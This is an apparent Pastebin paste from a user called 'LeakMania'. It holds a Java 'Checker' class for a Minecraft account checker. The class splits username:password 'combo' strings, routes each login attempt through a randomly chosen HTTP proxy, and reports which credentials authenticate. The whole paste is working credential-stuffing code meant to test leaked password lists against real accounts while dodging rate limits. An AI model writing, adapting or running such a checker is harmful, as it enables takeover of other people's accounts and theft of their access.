Advertisement
LeakMania

MCChecker Code

Jul 20th, 2019
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 0.99 KB | None | 0 0
  1. package com.leakmania.mcchecker.utils;
  2.  
  3. import java.net.InetSocketAddress;
  4. import java.net.Proxy;
  5. import java.util.Random;
  6.  
  7. import net.chris54721.openmcauthenticator.OpenMCAuthenticator;
  8. import net.chris54721.openmcauthenticator.exceptions.AuthenticationUnavailableException;
  9. import net.chris54721.openmcauthenticator.exceptions.RequestException;
  10.  
  11. public class Checker {
  12.    
  13.     String proxies[];
  14.    
  15.     public Checker(String[] proxies) {
  16.         this.proxies = proxies;
  17.     }
  18.  
  19.     public boolean check(String combo) {
  20.         String proxyString = proxies[new Random().nextInt(proxies.length)];
  21.         try {
  22.             Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxyString.split(":")[0], Integer.parseInt(proxyString.split(":")[1])));
  23.             OpenMCAuthenticator.authenticate(combo.split(":")[0], combo.split(":")[1], null, proxy);
  24.             return true;
  25.         } catch (RequestException e) {
  26.             e.printStackTrace();
  27.         } catch (AuthenticationUnavailableException e) {
  28.             e.printStackTrace();
  29.         }
  30.         return false;
  31.     }
  32.  
  33. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement